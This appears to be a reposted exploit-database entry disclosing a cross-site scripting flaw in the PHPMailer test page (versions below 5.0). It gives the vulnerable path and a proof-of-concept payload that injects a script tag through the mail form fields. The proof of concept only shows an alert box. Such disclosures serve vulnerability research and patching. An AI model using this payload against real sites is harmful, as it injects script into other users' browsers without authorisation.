facebook facebook twitter rss

PHPMailer Test Page 5.0 Cross-Site-Scripting

Author: Omba , Published: 20-07-2018
# Exploit Title: PHPMailer Test Page < 5.0 Cross-Site-Scripting
# Date: 2018-07-06
# Exploit Author: Omba
# Vendor Homepage: https://github.com/PHPMailer
# Software Link: https://github.com/PHPMailer/PHPMailer
# Version: [5.0]
# CVE: N/A
# Tested on: MacOS High Sierra / Linux Mint / Windows 10

# Vulnerable Parameter Type: GET
# Vulnerable Parameter: www.example.com/phpmailer/test_script/

# Proof of Concepts:

www.example.com/phpmailer/test_script/

fill in all the fields "Mail Details"

Payload: “><script>alert(/Xss-By-Omba/)</script>

and click Submit.

Like us on Facebook :